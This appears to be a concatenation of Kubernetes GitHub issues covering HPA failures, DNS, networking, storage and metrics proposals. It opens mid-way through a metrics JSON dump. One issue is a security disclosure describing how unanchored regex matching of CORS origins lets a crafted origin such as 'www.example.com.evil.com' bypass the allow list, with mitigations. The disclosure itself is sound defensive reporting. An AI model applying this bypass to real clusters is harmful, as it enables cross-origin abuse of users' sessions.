\ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 170m\ ,\r      \ memory\ : \ 33308912ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-207.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 9789m\ ,\r      \ memory\ : \ 23946364ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-23.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12334m\ ,\r      \ memory\ : \ 29702128ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-244.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12970m\ ,\r      \ memory\ : \ 25676104ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-196.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 204m\ ,\r      \ memory\ : \ 21318004ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-91.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14423m\ ,\r      \ memory\ : \ 23790500ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-33.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12286m\ ,\r      \ memory\ : \ 27757768ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-245.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14412m\ ,\r      \ memory\ : \ 27101524ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-80.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14464m\ ,\r      \ memory\ : \ 28811228ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-133.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12348m\ ,\r      \ memory\ : \ 26956736ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-135.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14600m\ ,\r      \ memory\ : \ 35465368ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-32.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 6657m\ ,\r      \ memory\ : \ 22866372ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-124.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 175m\ ,\r      \ memory\ : \ 38765720ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-24.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 143m\ ,\r      \ memory\ : \ 26955948ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-210.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 13422m\ ,\r      \ memory\ : \ 31735464ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-243.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 14120m\ ,\r      \ memory\ : \ 29873680ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-76.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 405m\ ,\r      \ memory\ : \ 5891152ki\ \r     }\r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ ip-10-0-8-17.ec2.internal\ ,\r      \ creationtimestamp\ : \ 2017-11-09t14:03:50z\ \r     },\r     \ timestamp\ : \ 2017-11-09t14:03:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ usage\ : {\r      \ cpu\ : \ 12636m\ ,\r      \ memory\ : \ 33259636ki\ \r     }\r    }\r    \r  }\r    \r \r from inside a test ubuntu pod in the kube-system namespace i can get a list of nodes from heapsters rest api:\r    \r curl http://$heapster_service_host/api/v1/model/nodes/\r  \r   \ ip-10-0-8-87.ec2.internal\ ,\r   \ ip-10-0-8-196.ec2.internal\ ,\r   \ ip-10-0-8-230.ec2.internal\ ,\r   \ ip-10-0-8-81.ec2.internal\ ,\r   \ ip-10-0-8-124.ec2.internal\ ,\r   \ ip-10-0-8-210.ec2.internal\ ,\r   \ ip-10-0-8-133.ec2.internal\ ,\r   \ ip-10-0-8-189.ec2.internal\ ,\r   \ ip-10-0-8-76.ec2.internal\ ,\r   \ ip-10-0-8-207.ec2.internal\ ,\r   \ ip-10-0-8-91.ec2.internal\ ,\r   \ ip-10-0-8-170.ec2.internal\ ,\r   \ ip-10-0-8-146.ec2.internal\ ,\r   \ ip-10-0-8-80.ec2.internal\ ,\r   \ ip-10-0-8-33.ec2.internal\ ,\r   \ ip-10-0-8-8.ec2.internal\ ,\r   \ ip-10-0-8-47.ec2.internal\ ,\r   \ ip-10-0-8-24.ec2.internal\ ,\r   \ ip-10-0-8-18.ec2.internal\ ,\r   \ ip-10-0-8-32.ec2.internal\ ,\r   \ ip-10-0-8-17.ec2.internal\ ,\r   \ ip-10-0-8-36.ec2.internal\ ,\r   \ ip-10-0-8-135.ec2.internal\ ,\r   \ ip-10-0-8-98.ec2.internal\ ,\r   \ ip-10-0-8-113.ec2.internal\ ,\r   \ ip-10-0-8-23.ec2.internal\ ,\r   \ ip-10-0-8-183.ec2.internal\ ,\r   \ ip-10-0-8-243.ec2.internal\ ,\r   \ ip-10-0-8-136.ec2.internal\ ,\r   \ ip-10-0-8-244.ec2.internal\ ,\r   \ ip-10-0-8-245.ec2.internal\ \r   \r     \r \r  when creating a new hpa i can see the post get sent to the kube apiserver and the object appears in etcd:\r     \r  etcdctl get /registry/horizontalpodautoscalers/fusion/fusion\r {\ kind\ :\ horizontalpodautoscaler\ ,\ apiversion\ :\ autoscaling/v1\ ,\ metadata\ :{\ name\ :\ fusion\ ,\ namespace\ :\ fusion\ ,\ uid\ :\ 6396691a-c4cc-11e7-ab54-1252c780286c\ ,\ creationtimestamp\ :\ 2017-11-08t21:32:58z\ },\ spec\ :{\ scaletargetref\ :{\ kind\ :\ deployment\ ,\ name\ :\ fusion\ ,\ apiversion\ :\ extensions/v1beta1\ },\ minreplicas\ :1,\ maxreplicas\ :5,\ targetcpuutilizationpercentage\ :30},\ status\ :{\ currentreplicas\ :0,\ desiredreplicas\ :0}}\r \r kubectl -n kube-system exec kube-apiserver-ip-10-0-8-76.ec2.internal -- grep 'post /apis/autoscaling/v1/namespaces/fusion/horizontalpodautoscalers' /var/log/kube-apiserver.log\r i1108 21:32:58.146372       6 wrap.go:75  post /apis/autoscaling/v1/namespaces/fusion/horizontalpodautoscalers:  20.525998ms  201   kc/v1.7.3  darwin/amd64  kubernetes/2c2fe6e  10.0.8.70:57585 \r    \r \r but the hpa never works and the  starting hpa controller  message  from   horizontal.go   https://github.com/kubernetes/kubernetes/blob/v1.6.6/pkg/controller/podautoscaler/horizontal.go l139   never even gets logged in the controller-manager logs when creating a new hpa:\r    \r kubectl -n fusion get deploy,hpa\r name                      desired   current   up-to-date   available   age\r deploy/fusion             2         2         2            1           45m\r \r name         reference           targets           minpods   maxpods   replicas   age\r hpa/fusion   deployment/fusion   <unknown> / 30%   1         5         0          40m\r \r \r kubectl -n fusion describe hpa/fusion\r name:                           fusion\r namespace:                      fusion\r labels:                         <none>\r annotations:                    <none>\r creationtimestamp:              wed, 08 nov 2017 16:32:58 -0500\r reference:                      deployment/fusion\r metrics:                          current / target  \r   resource cpu on pods   as a percentage of request :   <unknown> / 30%\r min replicas:                   1\r max replicas:                   5\r events:                         <none>\r    \r \r -----\r \r some other thing i have tried to do to resolve this  with no luck :\r \r   restart the kube-controller-manager pods\r   restart the heapster pods\r   delete deployments, replicasets, pods and hpas, then recreate deployment and hpa\r \r -----\r \r i am pretty sure that creating a new cluster would fix this problem, and although we have automated everything about creating a new cluster and migrating existing workload to the new cluster, it would still take some time and it would be nice to see if we can fix it before spinning up a new production cluster.\r \r thanks for any help you can provide!

we should not attempt resizing of file system if volume is mounted as read-only. \r \r  \r cc @kubernetes/sig-storage-pr-reviews

high failure rate  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=garbage%20collector%20should%20delete%20pods%20created%20by%20rc \r \r root cause appears to be the same as https://github.com/kubernetes/kubernetes/issues/50047\r \r last seen: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63692/pull-kubernetes-e2e-gce/34847/\r \r  

as a user, sometimes i want to know gpuids allocated for a container. this information can be found as a container variable inside container, but it can not be achieved by inspect pod yaml.\r so i propose to expose allocated deviceplugin information as prometheus metrics.\r now we can  device_plugin_registration_count  and  device_plugin_alloc_latency_microseconds   at https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/metrics/metrics.go l52\r \r maybe we can add a metrics called  device_plugin_alloc_resources , which expose data just like data saved in checkpoint: \r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/devicemanager/manager.go l88\r \r \r | metric name| metric type | labels/tags | \r | ---------- | ----------- | ----------- | \r | device_plugin_alloc_resources | gauge |  pod =&lt;pod-name&gt; <br>  container =&lt;container-name&gt;  <br>  resource =&lt;resource-name&gt;<br>  deviceids =&lt;deviceids&gt;<br>  |

summary\r a list of allowed origins can be supplied to the kubernetes apiserver at runtime to support cross-origin resource sharing  cors . documentation states that this list \ can be a regular expression to support subdomain matching\ ; however, every item in the list is treated as a regular expression in the cors request handling middleware. further, documentation and test cases do not contain examples of safe regular expressions.\r \r because of this, if a user provides a valid origin, such as \ https://www.example.com\ , it would be possible for an invalid origin to bypass the intended control, using an origin such as \ https://www.example.com.evil.com\ . for the user to protect themselves from this issue, they would need to supply a valid regular expression that contains the meta-characters needed to mark the end of the provided origin  i.e. \ $\  .\r \r the impact of this issue would be dependent on the authentication mechanisms in use. for example, cookie or basic authentication would allow an attacker to submit requests and read responses within the context of the application consumer; however, the use of a jwt or something similar would likely not have an impact, as these authentication mechanisms could not be abused without an attacker knowing the user's credentials. some far-fetched scenarios could include the use of easy-to-guess credentials and an application and domain that is on a network location that an attacker could not contact directly.\r \r this should be resolved to prevent any future issues in the kubernetes ecosystem.\r \r    mitigation\r a proper solution should protect users from themselves. there are a couple of routes that could be taken to resolve this issue.\r       adjust documentation to reflect that all items are treated as a regular expression, and that items not containing and matching end meta-character could result in security issues. additionally, adjust test cases and documentation to show secure examples.\r       append a matching end meta-character to each item supplied from the user.\r       attempt to identify when a regular expression is provided and only treat those as regular expressions.\r \r    credit\r this issue was identified by tom steele of atredis partners.\r \r    references\r   https://github.com/kubernetes/kubernetes/blob/7f23a743e8c23ac6489340bbb34fa6f1d392db9d/staging/src/k8s.io/apiserver/pkg/server/options/server_run_options.go\r   https://github.com/kubernetes/kubernetes/blob/a3ccea9d8743f2ff82e41b6c2af6dc2c41dc7b10/staging/src/k8s.io/apiserver/pkg/server/filters/cors.go\r \r  /area security\r 

it should support unordered type matches, we should be able to reorder two unordered type array pass in and reorder and match them.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r - failed to get node address from cloud provider that matches ip\r - aws cloud provider multiple ip \r \r ---\r \r   kubernetes version  \r 1.5.2\r \r   feature request  \r \r hi, i am trying configure a cluster on aws where my kubelets are running on ec2 instances with multiple interfaces.\r \r i want to force the kubelets to report a specific ip so i am using the  node-ip  flag when starting my kubelets. for example, on a node with 2 interfaces  eth0: ip0  and  eth1: ip1 , i set my kubelet  node-ip: ip1 . i would expect my kubelet to come up but instead, i get:\r \r    \r failed to get node address from cloud provider that matches ip: <ip1>\r    \r \r running  aws ec2 describe-instances ...  shows me that the  privateip  field on the instance object is actually  ip0  but the instance has multiple active network interfaces and  ip1  is present in one of the interfaces.\r \r digging through the code, it looks like the  node status  reporting already handle multiple ip addresses correctly so this seems enhancement in this file: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l963\r \r there is already a todo for supporting multiple ip addresses, would it be a reasonable change to iterate through the  network interfaces  returned on the  instance  and report additional active interfaces?\r \r    \r           \ networkinterfaces\ :  \r                         {\r                             \ status\ : \ in-use\ ,\r                             \ macaddress\ : \ redacted\ ,\r                             \ sourcedestcheck\ : true,\r                             \ vpcid\ : \ redacted\ ,\r                             \ description\ : \ \ ,\r                             \ networkinterfaceid\ : \ redacted\ ,\r                             \ privateipaddresses\ :  \r                                 {\r                                     \ privatednsname\ : \ ip-10-0-15-49.ec2.internal\ ,\r                                     \ primary\ : true,\r                                     \ privateipaddress\ : \ 10.0.15.49\ \r                                 }\r                              ,\r                             \ privatednsname\ : \ ip-10-0-15-49.ec2.internal\ ,\r                             \ attachment\ : {\r                                 \ status\ : \ attached\ ,\r                                 \ deviceindex\ : 0,\r                                 \ deleteontermination\ : true,\r                                 \ attachmentid\ : \ redacted\ ,\r                                 \ attachtime\ : \ 2017-04-19t19:26:13.000z\ \r                             },\r                             \ groups\ :  \r                                 {\r                                     \ groupname\ : \ k8s-master\ ,\r                                     \ groupid\ : \ redacted\ \r                                 }\r                              ,\r                             \ subnetid\ : \ redacted\ ,\r                             \ ownerid\ : \ redacted\ ,\r                             \ privateipaddress\ : \ 10.0.15.49\ \r                         },\r ...\r    \r \r

feature request:\r \r some sort of mechanism so that manually created persistentvolume's will bind a persistentvolumeclaim with a volume.alpha.kubernetes.io/storage-class annotation.\r \r use case: deploying helm charts to a cluster that doesn't have a dynamic provisioner.\r \r most helm charts have storageclass variables to set the storage-class annotation on pvc's they create.   when not set, they usually default to the  default  storage-class.   they generally don't have the ability to remove the storage-class annotation, and because they have the storage-class annotation set, they will never bind to any manually created persistentvolume's.\r \r my workaround is to manually delete the annotation after deployment, allowing the pvc & pv to bind.   subsequent upgrades of the chart will restore the annotation, but won't break the binding.\r \r in theory helm charts should have the ability to remove the storage-class annotation and configure a selector instead, but in practice most won't.\r \r instead it's probably better to handle this in kubernetes.   possibilities:\r \r - allow the user to create a manual storageclass\r - when the cluster doesn't have a dynamic provisioner, ignore storage-class\r - allow the user to set a 'storage-class' annotation on persistentvolume's that will bind to any pvc's with the same storage-class annotation\r \r note that we should probably have some way of assigning pvc's to specific pv's.   a selector is of course the right way to do that, but again we're asking a lot of helm chart authors.   perhaps we could abuse storage-class for this, have the user use the same storage-class annotation on the pvc and matching pv.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   bug report  :\r \r  @kubernetes/sig-network\r \r   what happened  :\r when setting up a headless service pointing to the pods managed by a deployment/replicaset there are there are either\r   no dns names provisioned,  hostname field empty in podspec  or\r   there's single dns name pointing to the ip of the last pod to be brought up  hostname field was set in the podspec \r \r \r   what you expected to happen  :\r as per the kube-dns spec, i expect dns names to be set up for each pod in the replicaset using the pod name as hostname if the hostname field in the pod isn't explicitly set, provided that the subdomain field is set equal to the service name  as per documentation \r this behaviour is actually present elsewhere: in this set up the /etc/hosts file of containers in the pod does have the expected host name\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r applying the yaml in the attached zip, creates a single pod, a deployment and headless services for each.\r the deployment has no hostname set, the pod does. inspecting the addresses in the endpoints of the services, show that for the service attached to the deployment no hostname was added to the address, and as such kube-dns doesn't pick up the entry. however the hosts files of the containers do have the expected entry, for example:\r \r     $ kubectl exec -ti pod-1 ping test-deployment-813627333-chfqr.deployment-service.default.svc.cluster.local\r     ping: unknown host\r \r      $ kubectl exec -ti test-deployment-813627333-chfqr  cat /etc/hosts | grep test\r     10.56.0.83\ttest-deployment-813627333-chfqr.deployment-service.default.svc.cluster.local\ttest-deployment-813627333-chfqr\r     \r if you look at the single pod there is a dns entry which is equal to the hostname in /etc/hosts\r     \r     $ kubectl exec -ti test-deployment-813627333-chfqr getent hosts pod-1.pod-service.default.svc.cluster.local\r     10.56.0.87      pod-1.pod-service.default.svc.cluster.local\r     $ kubectl exec -ti pod-1 cat /etc/hosts | grep pod-1\r     10.56.0.87\tpod-1.pod-service.default.svc.cluster.local\tpod-1\r \r  pod-dns.zip  https://github.com/kubernetes/kubernetes/files/1098997/pod-dns.zip \r \r   anything else we need to know?  :\r not sure if this should be a fix in kubernetes or the kube-dns addon. kube-dns checks if the hostname field of the addresses in the endpoint is set. however it might make sense to set that field with the pod name, if no hostname was defined.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : gke \r - os  e.g. from /etc/os-release : cos version 57\r - kernel  e.g.  uname -a  : 4.4.35+  1 smp wed apr 5 13:00:57 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r

failed serial test run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1-7/107\r \r node minion-group-bxn4 didn't come back after restart and caused the failure\r \r in the  kubelet log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1-7/107/artifacts/bootstrap-e2e-minion-group-bxn4/kubelet.log , the node was back but kubelet failed to register the node with apiserver:\r \r    \r e0629 05:29:43.583645    2413 kubelet_node_status.go:106  unable to register node \ bootstrap-e2e-minion-group-bxn4\  with api server: post https://35.192.63.12/api/v1/nodes: x509: certificate signed by unknown authority\r    \r \r might be a one-time flake.\r \r cc @dchen1107 @mikedanese \r \r

the webhook  api  https://github.com/kubernetes/kubernetes/blob/v1.9.0-alpha.1/staging/src/k8s.io/api/admissionregistration/v1alpha1/types.go l152  doesn't tell if a webhook configuration is honored by the kube-apiserver or the extension apiservers. we should support it.\r \r the problem is less critical for initializers, because users can observe objects's  metadata.initializers  to check if the initializer configuration is honored\r \r cc @lavalamp @cheftako @kubernetes/sig-api-machinery-misc

who is using container log stats?\r 1. summary api provides container log disk usage. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/stats/v1alpha1/types.go l121\r 2. ephemeral storage based eviction is using container log disk usage.\r \r    who is collecting container log stats?\r cadvisor is collecting per-container log stats for docker today. see https://github.com/google/cadvisor/blob/master/container/docker/handler.go l182.\r however, we could not do that for cri container log, because all cri container logs are in a same pod directory, we don't have a per-container directory for cadvisor to collect container log stats.\r \r as a temporary work around, we could point cadvisor to the container log file, as what cri-o is doing today. https://github.com/google/cadvisor/blob/master/container/crio/handler.go l131-l138\r however, this won't work after we add log rotation for cri container logs.\r \r    things need discussion\r 1  do we need per-container log stats in core metrics?\r   option 1: still support per-container log stats in core metrics. then we should figure out a way to collect per-container log stats for cri container runtime. should we create a sub directory for each container in pod log directory?\r   option 2: only support per-pod log stats in core metrics. this is more straight forward based on today's cri log directory format. however, we still need to resolve:\r     how does separate monitoring pipeline get per-container log stats?\r     how to deal with the regression / behavior change introduced by this change?  summary api, eviction \r \r 2  who should collect container log stats in the future?\r   option 1: cadvisor + container runtime? it seems redundant to me that cri container runtimes still need to integrate with cadvisor independently, when their log path and format are the same.\r   option 2: kubelet + cadvisor? kubelet could call cadvisor library and get cri log stats. or kubelet could configure cadvisor properly to let cadvisor collect cri log stats.\r if it's still cadvisor, should different container runtime integrate with cadvisor\r \r @dchen1107 @yujuhong @dashpole @jingxu97 @abhi @mrunalp \r @kubernetes/sig-node-feature-requests @kubernetes/sig-instrumentation-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the cni does not work with windows server 2016 rtm  build number 14393 \r \r   what you expected to happen  :\r the pod network to be set up correctly and to be able to reach the pod containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create k8s cluster.\r 2. deploy windows node with kubelet using cni.\r 3. create a pod and wait for it to be ready.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r ps c:\\users\\administrator> wmic os get buildnumber\r buildnumber\r 14393\r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r now  kubectl get  without namespace will return resources under default namespace, an ideal way would be  kubectl get  without namespace should return all resources under different namespaces.\r \r istio already doing it as follows:\r \r    \r root@gyliu-icp-6:~/scratch/istio/meshexpansion/bookinfo  istioctl get destinationrules\r name\t\tkind\t\t\t\t\t\tnamespace\r details\t\tdestinationrule.networking.istio.io.v1alpha3\tbookinfo\r productpage\tdestinationrule.networking.istio.io.v1alpha3\tbookinfo\r ratings\t\tdestinationrule.networking.istio.io.v1alpha3\tbookinfo\r reviews\t\tdestinationrule.networking.istio.io.v1alpha3\tbookinfo\r details\t\tdestinationrule.networking.istio.io.v1alpha3\tdefault\r productpage\tdestinationrule.networking.istio.io.v1alpha3\tdefault\r ratings\t\tdestinationrule.networking.istio.io.v1alpha3\tdefault\r reviews\t\tdestinationrule.networking.istio.io.v1alpha3\tdefault\r    \r \r you may see there is a column named as  namespace , and we should also enhance  kubectl  to support this as well.\r \r 

i want to use ceph s3 storage as kubernetes storageclass. how to define it?

egress rules do not seem to work as expected. lets follow the steps to replicate this issue.\r \r lets run 2 different nginx deployments\r \r    \r kubectl run nginx1 --image=nginx --port=80\r kubectl run nginx2 --image=nginx --port=80\r    \r \r lets expose them as 2 different services\r \r    \r kubectl expose deploy/nginx1 --target-port=80\r kubectl expose deploy/nginx2 --target-port=80\r    \r \r lets create a simple pod to play with our deployment\r \r  kubectl run alpine --image=alpine --restart=never --command 'sleep' '3600' \r \r lets create a network policy as shown here for the alpine we had just created.\r as per the policy, alpine can talk to   nginx2  . but not   nginx1  \r \r    \r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: test-network-policy\r   namespace: default\r spec:\r   podselector:\r     matchlabels:\r       run: alpine\r   policytypes:\r   - egress\r   egress:\r   - to:\r     - podselector:\r         matchlabels:\r           run: nginx2\r     ports:\r     - protocol: tcp\r       port: 80\r    \r access the alpine container\r \r  kubectl exec alpine -it sh \r \r install curl\r \r  apk add curl \r \r run the below commands one by one.\r \r    \r curl nginx1\r curl nginx2\r    \r \r \r   what happened  :\r \r able to get response from both services successfully. \r \r   what you expected to happen  :\r allow the egress only for   nginx2  . not for   nginx1  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r just follow the above steps.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r local cluster\r \r - others:\r cni - weave

posting at the suggestion of @thockin .  we're running on gke with kubernetes 1.0.6  the latest release on there as of the time of this issue's writing . we're already using  datadog  http://datadoghq.com/  successfully across of the rest of our fleet, and wanted to try to do the same on gke.  they do have a docker agent, but it currently has some limitations  no network or process list metrics  that keep us from wanting to use it.  since the datadog agent also serves as a statsd server, the big thing we are running into is this: - we send a ton of metrics from our various processes. the metrics get tagged based on the host they come from. - as a consequence, we want each container to send metrics to udp port 8125 on the host machine it resides within. the container doesn't necessarily need to know this, but we want containers on each machine to ultimately end up sending their metrics to the node's udp port 8125.  it sounds like the current workaround would involve using the downward api to query the metadata api to find the right ip to send metrics to for each container. @thockin also mentioned the possibility of using hostnetwork, but that may not be tenable in gke.  open to ideas and other suggestions.

i reviewed a test that had a comment \ this test requires that --terminated-pod-gc-threshold=100 be set on the controller manager\   there's no easy programmatic way to do this right now. once we have component config stored as an api object, this will hopefully be easy. it might also be useful for components to export their config information  whether it comes from command-line flags or api object or whatever  on some kind of http endpoint.

there's probably already an issue about this, but none of my searches could find it.  i know @hongchaodeng  and @xiang90?  are interested in doing much of the work. @krousey may be able to help.  off the top of my head, we'll need: - flag enable etcd 2 or etcd 3, support both for a significant period of time. - adjust storage.interface as needed. - adjust deployment scripts, again we need both to work in parallel for one, possibly two, point releases. - provide update scripts/instructions to switch over a running cluster, ideally with no downtime.

moving this piece from  this comment  https://github.com/kubernetes/kubernetes/pull/27129/files/4a60be831efce93d7e210df47d79e7c18d5d13c2 r71607506 . generally the idea is to have the kubelet to attach sha of the image s  running in a pod in the pod status field. this will be useful for the aforementioned image policy proposal and related image auditing capabilities.   @erictune fyi

